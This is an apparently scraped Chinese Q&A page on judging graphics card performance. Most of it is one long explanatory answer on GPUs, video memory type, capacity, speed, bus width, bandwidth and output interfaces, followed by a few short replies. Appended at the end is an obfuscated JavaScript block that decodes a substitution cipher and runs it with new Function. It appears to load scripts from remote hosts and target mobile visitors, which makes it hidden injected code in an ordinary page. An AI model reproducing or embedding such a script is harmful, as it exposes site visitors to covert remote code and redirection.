如何衡量显卡的性能

2025-02-22 21:03:59
推荐回答(6个)
回答1:

电脑游戏产业的飞速发展直接刺激了显卡制造业的创新速度,如今图形芯片的更新速度已经超过CPU,成为推陈出新频率最高的电脑产品。尽管笔者对此不以为然,但也只能经常察看类似信息才能做到不落伍,否则一不小心就会被某些高人讽刺:最新的,这都不知道。既然如此,我们不如先舍末求本,先来谈谈一些显卡基本的知识,也许你刚刚看完这一部分,新的芯片又出来了:)

1、显卡

又被称为:视频卡、视频适配器、图形卡、图形适配器和显示适配器等等。它是主机与显示器之间连接的“桥梁”, 作用是控制电脑的图形输出,负责将CPU送来的的影象数据处理成显示器认识的格式,再送到显示器形成图象。显卡主要由显示芯片(即图形处理芯片Graphic Processing Unit)、显存、数模转换器(RAMDAC)、VGA BIOS、各方面接口等几部分组成。下面会分别介绍到各部分。

2、显示芯片

图形处理芯片,也就是我们常说的GPU(Graphic Processing Unit即图形处理单元)。它是显卡的“大脑”,负责了绝大部分的计算工作,在整个显卡中,GPU负责处理由电脑发来的数据,最终将产生的结果显示在显示器上。显卡所支持的各种3D特效由GPU的性能决定,GPU也就相当于CPU在电脑中的作用,一块显卡采用何种显示芯片便大致决定了该显卡的档次和基本性能,它同时也是2D显示卡和3D显示卡区分的依据。2D显示芯片在处理3D图像和特效时主要依赖CPU的处理能力,这称为“软加速”。而3D显示芯片是将三维图像和特效处理功能集中在显示芯片内,也即所谓的“硬件加速”功能。现在市场上的显卡大多采用nVIDIA和ATI两家公司的图形处理芯片,诸如:NVIDIA FX5200、FX5700、RADEON 9800等等就是显卡图形处理芯片的名称。不过,虽然显示芯片决定了显卡的档次和基本性能,但只有配备合适的显存才能使显卡性能完全发挥出来。

3、显存

全称显示内存,与主板上的内存功能基本一样,显存分为帧缓存和材质缓存,通常它是用来存储显示芯片(组)所处理的数据信息及材质信息。当显示芯片处理完数据后会将数据输送到显存中,然后RAMDAC从显存中读取数据,并将数字信号转换为模拟信号,最后输出到显示屏。所以显存的速度以及带宽直接影响着一块显卡的速度,即使你的显卡图形芯片很强劲,但是如果板载显存达不到要求,无法将处理过的数据即时传送,那么你就无法得到满意的显示效果。显存的容量跟速度直接关系到显卡性能的高低,高速的显卡芯片对显存的容量就相应的更高一些,所以显存的好坏也是衡量显卡的重要指标。要评估一块显存的性能,主要从显存类型、工作频率、封装和显存位宽等方面来分析:

(1)显存品牌

目前市场上,显卡上采用得最多的是SAMSUNG(三星)和Hynix(英力士)的显存,其他还有EtronTech(钰创),Infineon(英飞凌),Micron(美光)、EliteMT/ESMT(台湾晶豪)等品牌,这些都是比较有实力的厂商,品质方面有保证。

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow004.jpg
高档显卡中用得较多的Infineonm BGA显存。

(2)显存类型

目前被广泛使用的显存就只有SDRAM和DDR SDRAM。而且SDRAM基本被淘汰了,主流都是采用DDR SDRAM。

DDR SDRAM:DDR是Double Data Rate是缩写,它是现有的SDRAM的一种进化。DDR在时钟周期的上升沿和下降沿都能传输数据,而SDRAM则只可在上升沿传输数据,所以DDR的带宽是SDRAM的两倍,因此理论上DDR比SDRAM的数据传输率也快一倍。在显存速度相同的情况下,如果SDRAM的频率是166MHz,则DDR的频率是333MHz。现在DDR已经发展到DDRII甚至到DDRIII,也有部分高端显卡开始采用DDRII或者DDRIII显存。

(3)显存封装方式

显存封装形式主要有TSOP(Thin Small Out-Line Package,薄型小尺寸封装)、QFP(Quad Flat Package,小型方块平面封装)和MicroBGA(Micro Ball Grid Array,微型球闸阵列封装)三种。目前的主流显卡基本上是用TSOP和mBGA封装,其中又以TSOP封装居多.

TSOP封装方式:TSOP的全名为“Thin Small Out-Line Package”,即“薄型小尺寸封装”,它在封装芯片的周围做出引脚,这种封装,寄生参数减小,适合高频应用,操作方便,可靠性较高,是一种比较成熟的封装技术,也是目前市面最常见的。

MicroBGA封装方式:又名为144Pin FBGA、144-BALL FBGA(Fine-pitch Ball Grid Array)封装技术,与TSOP不同,它的引脚并非裸露在外的,所以看不到这种显存都看不到引脚。这个封装的内存芯片颗粒的实际占用面积比较小。这种封装技术的优势在于:会带来更好的散热及超频性能。因此内行人一看到这种封装的显存就基本上可以估计到这款显卡有多大的超频潜力。这是因为采用这种封装方式显存的PIN脚都在芯片下部,电连接短,电气性能好,也不易受干扰。目前多数高速内存、显存颗粒都是使用这种封装方式!

下面是两种封状的图片,大家可以对照一下,通过对照应该很容易分辨出这两种封装方式。

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow005.jpg
速度为4ns的TSOP封装的三星显存,TSOP封装只有两边有针脚引出,长方形。

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow008.jpg
mBGA封装、速度为2.8ns的HY显存,正方形,一般看不到针脚。

(4)显存容量

我们经常谈及一块显卡时通常会说它是64M 128BIT或者128MB 128BIT的,这里的64MB或者128MB指的就是显卡上显存的容量,现在主流显卡基本上具备的是64MB或者128MB的容量,少数高端显卡具备了256MB的容量。显存与系统内存一样,其容量也是多多益善,因为显存越大,可以储存的图像数据就越多,支持的分辨率与颜色数也就越高,游戏运行起来就更加流畅。不过有时候显存并非越多越好,对于不同架构、不同能力的图形核心来说,显存容量的需求亦不一样。数据处理能力强大的图形核心,当用上如抗锯齿和其他改善画质的额外功能时,需使用较多的显示内存,但对于有些低端的显卡,由于架构的限制,即使增加内存容量也不能使性能大幅度增加,更多的容量只能增加了成本。

既然那样,那么,我们如何分辨显示卡内存容量是否足够呢?这可以参考显卡公版设计指定的显存容量。对于大部分人来说,一般应用64M也够了,好一点就128M吧。而低端的显卡64M跟128M的性能相差不大,选择64M更划算。真正需要大容量显存的主要是一些3D渲染软件。如果不需要玩一些要求庞大材质和顶点数据的游戏、很少用到3D渲染软件和一些疯狂的测试软件,那256MB显存对你来说只是浪费!要计算出一块显卡的所有显存容量,必须先知道每颗显存的容量大小(一块显卡上通常有几颗规格一模一样的显存芯片)。然后用得出来的一颗显存的容量去乘以显卡上显存的颗粒数,也就是:显存容量=单颗显存颗粒的容量X显存颗粒数量

那究竟我们怎么样知道每颗显存的容量是多少呢?一般我们根据显存上面的编号识别。下面我们以最常见的SAMSUNG和Hynix的显存例子来看看:

三星的显存容量是看编号(比如下面的图K4J55323QF-GC16这些数字和字母)的第4、5位数字来识别,规律是:62、64=64Mbit,也就是64Mbit/8=8MB/颗;26、28=128Mbit,也就是128Mbit/8=16MB/颗;54、55、56=256Mbit,也就是256Mbit/8=32MB/颗;51、52=512Mbit,也就是512Mbit/8=64MB/颗。我们只要把这些数字代表什么容量记住就可以了。根据这些规律,我们很容易看出下面两颗显存的容量,第一颗的编号第4、5位为26,所以它的容量是16MB/颗;同理知道第二颗的容量为32MB/颗。

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow005.jpg
这是三星TSOP封装的3.3NS的显存
http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow006.jpg
这颗是三星MBGA封装1.6NS的显存
下面两张图分别是Hynix TSOP封装和mBGA封装的显存颗粒,跟三星的颗粒编号看法有点不同,它主要看编号的第6、7位数字,按照Hynix显存的编号规则:64、66表示64Mbit(8MB/颗),28=128Mbit(16MB/颗),56、57=256Mbit(32MB/颗),12=512Mbit(64MB/颗),根据规则我们很容易得出第一颗的容量是32MB,而第二颗是16MB。
http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow007.jpg

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow008.jpg
(5)显存速度

显存的速度以ns(纳秒)为计算单位,现在常见的显存多在6ns—2ns之间,数字越小说明显存的速度越快,其对应的理论工作频率可以通过公式:工作频率(MHz)=1000/显存速度(如果是DDR显存,工作频率(MHz)=1000/显存速度X2)。例如5ns的显存,工作频率为1000/5=200MHz,如果DDR规格的话,那它的频率为200X2=400MHz。现在显卡主要都是使用DDR规格的显存了。

下面列个纳秒/频率表格作参考:

显存速度 对应频率 对应DDR频率
6NS 166MHZ 333MHZ
5NS 200MHZ 400MHZ
4NS 250MHZ 500MHZ
3.6NS 278MHZ 556MHZ
3.3NS 300MHZ 600MHZ
2.8NS 360MHZ 720MHZ
2.2NS 450MHZ 900MHZ
2NS 500MHZ 1000MHZ

究竟显卡用多少NS的速度才够呢?前面已经提到过,这些都取决于是什么图形处理芯片,ATI和NVIDIA都会就各自的图形处理芯片提供公版显存频率作为参考。如FX5200图形芯片,公板的显存频率是400MHZ,所以用5NS的DDR显存就够用了,如果是用6NS的话,我们就可以说这个卡用料是缩水了,如果是用的是3.6NS或者2.8NS的话,那这显卡的超频潜力就比较大。又比如RADEON 9600PRO的公板显存频率是600MHZ,所以至少要搭配3.3NS或者速度更快的显存。其他类型显卡应该用什么显存也可以同样参考相应的公板。

要想知道显存用的是是多少NS的显存,主要看显存上面的编号,而且不同厂商的显存芯片标识也略有不同,下面图例说明:

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow009.jpg

上图是TSOP封装的5ns的Hynix显存,看编号HY5DU561622CT-5,编号最后的那个数字“5”就代表是5ns了。

http://www.pconline.com.cn/diy/graphics/dg/0407/pic/040719_graphicbuynow010.jpg

上面是TSOP封装的4ns的Hynix显存,看编号HY5DU281622DT-4S,编号最后的“4S”,其中“4”就代表是4ns了。

(6)显存带宽

显存带宽指的是一次可以读入的数据量,即表示显存与显示芯片之间交换数据的速度。带宽越大,显存与显示芯片之间的"通路"就越宽,数据"跑"得就更为顺畅,不会造成堵塞。显存带宽可以由下面这个公式计算:显存频率×显存位宽/8(除以8是因为每8个bit等于一个Byte)。这里说的显存位宽是指显存颗粒与外部进行数据交换的接口位宽,指的是在一个时钟周期之内能传送的bit数,从上面的计算式可以知道,显存位宽是决定显存带宽的重要因素,与显卡性能息息相关。我们经常说的某个显卡是64MB128bit的规格,其中128bit就是说该显卡的显存位宽了。目前市面上的绝大多数显卡的显存位宽都是128bit(部分是64bit),有些高端卡甚至是256bit的。

下面我们以128bit某9600显卡为例,其显存系统带宽=200MHz×2(因使用了DDR显存,所以乘以2)×128/8=6.4GB/S。如果显存是64bit的9600SE,它的显存带宽=200X2X64/8=3.2GB/S由此看出,在相同的工作频率下,64位显存的带宽只有128位显存的一半。所以同一种显示芯片的显卡,用64bit显存位宽的性能远远不如位宽是128bit,理论上的差距达到了一倍,所以大家在买显卡的时候尽量选择128bit的产品。

既然显存位宽那么重要,那究竟我们怎么样分辨显卡的显存位宽是多少bit呢?不要急,慢慢来。

知道每颗的位数,就可以根据:显卡的显存位宽=单颗显存位宽X显存颗粒数量 这个公式计算出显卡的位宽。

另一个比较简单的方法是根据显存的封装来分辨,这里主要讲TSOP跟MBGA封装,封装形式方面的认识上面已经有介绍了。这里有个规律:我们比较常见的TSOP封装是一般来说是16BIT/颗,而mBGA封装一般是32BIT/颗。所以我们要知道一张显卡究竟是多少bit,只要先数一下显卡有多少颗显存,再看看显存是什么封装,之后根据上面的规律(TSOP封装16bit/颗,mBGA封装32bit/颗)用显存数量乘以bit数(TSOP乘16bit,mBGA乘32bit)就得出总bit数了.比如一张显卡总共只有4颗TSOP封装的显存,那它的显存位宽就是4X16=64bit;如果是8颗TSOP的话,就是8X16=128bit了;如果是4颗MBGA封装的显存,那么它就是4X32=128bit

但是最近我们发现了一个特殊的情况,微星的刀板5200,虽然同样采用了4颗mBGA显存,可是经过测试发现显存位数只有64Bit,我们估计这是由于厂商有意屏蔽。当然,大部分显卡的显存位宽还是可以按照我们上面说到的规律辨别的。

显存方面的知识主要搞清楚显存位宽、显存容量、显存速度这几个方面及其互相之间的关系就够了。

4、RAMDAC

数模转换器.它的作用是将显存中的数字信号转换为能够用于显示的模拟信号,RAMDAC的速度对在显示器上面看到的的图象有很大的影响。这主要因为图象的刷新率依懒于显示器所接收到的模拟信息,而这些模拟信息正是由RAMDAC提供的。RAMDAC转换速率决定了刷新率的高低。不过现在大部分显卡的RAMDAC都集成在主芯片里面了,比较少看到独立的RAMDAC芯片。

5、显卡BIOS

也就是VGA BIOS了,跟主板BIOS差不多,每张显卡都会有一个BIOS。显卡上面通常有一块小的存储器芯片来存放显示芯片与驱动程序之间的控制程序,另外还存放有显卡的型号、规格、生产厂商、出厂是等信息。显卡的BIOS跟显卡超频有着直接的关系。

6、总线接口

显卡必须插在主板上面才能与主板交换数据,因而就必须有与之相对应的总线接口。现在最主流的总线接口是AGP接口。AGP(Accelerated Graphics Prot)接口在PCI图形接口的基础上发展而来的,是一种专用的显示接口,具有独占总线的特点,只有图像数据才能通过AGP端口。AGP又分为AGP 8x、AGP 4x和AGP 2x等不同的标准。现在AGP 8X已经是主流,总线带宽达到2133MB/S,是AGP 4X的两倍。

现在的主板基本是AGP 8X的规格,而AGP 8X规格是兼容AGP 4X的,即AGP 8X插槽可以插AGP 4X的显卡,而AGP 8X规格的显卡也可以用在AGP 4X插槽的主板上。

最近,Intel推出了最新的PCI-E显卡接口,总线带宽高达4G/s,不过要普及恐怕还需要很长一段时间,大家可以去DIY栏目察看有关文章:Computex显卡(PCI-E篇)总结,这里就不多说了。

7、输出接口

显卡处理好的图象要显示在显示设备上面,那就离不开显卡的输出接口,现在最常见的主要有:VGA接口、DVI接口、S端子这几种输出接口。

(1)VGA(Video Graphics Array 视频图形阵列)接口,也就是D-Sub15接口,作用是将转换好的模拟信号输出到CRT或者LCD显示器中。现在几乎每款显卡都具备有标准的VGA接口,因为目前国内的显示器,包括LCD,大都采用VGA接口作为标准输入方式。标准的VGA接口采用非对称分布的15pin连接方式,其工作原理是将显存内以数字格式存储的图象信号在RAMDAC里经过模拟调制成模拟高频信号,然后在输出到显示器成像。它的优点有无串扰、无电路合成分离损耗等。

(2)DVI(Digital Visual Interface 数字视频接口)接口,视频信号无需转换,信号无衰减或失真,显示效果提升显著,将时候VGA接口的替代者。VGA是基于模拟信号传输的工作方式,期间经历的数/模转换过程和模拟传输过程必将带来一定程度的信号损失,而DVI接口是一种完全的数字视频接口,它可以将显卡产生的数字信号原封不动地传输给显示器,从而避免了在传输过程中信号的损失。DVI接口可以分为两种:仅支持数字信号的DVI-D接口和同时支持数字与模拟信号的DVI-I接口。不过由于成本问题和VGA的普及程度,目前的DVI接口还不能全面取代VGA接口。

(3)S-Video(S端子,Separate Video),S端子也叫二分量视频接口,一般采用五线接头,它是用来将亮度和色度分离输出的设备,主要功能是为了克服视频节目复合输出时的亮度跟色度的互相干扰。S端子的亮度和色度分离输出可以提高画面质量,可以将电脑屏幕上显示的内容非常清晰地输出到投影仪之类的显示设备上。
参考资料:http://zsbbs.cn.bbs.yahoo.com/message/read_hardware_70173.html?page=1

回答2:

看频率,看容量,看位宽,看板数,最后是看分数

回答3:

想知道显卡的好与不好,最直接的就是找个3D的游戏试玩下,看画面怎么样,画面显示流畅看着比较舒服的就是显卡还不错。还有就是看下买的时候标签上显示的频率高低就知道自己的显卡品质了。

回答4:

看频率

回答5:

你就玩个魔兽什么的游戏,试试就知道了

回答6:

找游戏试试

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();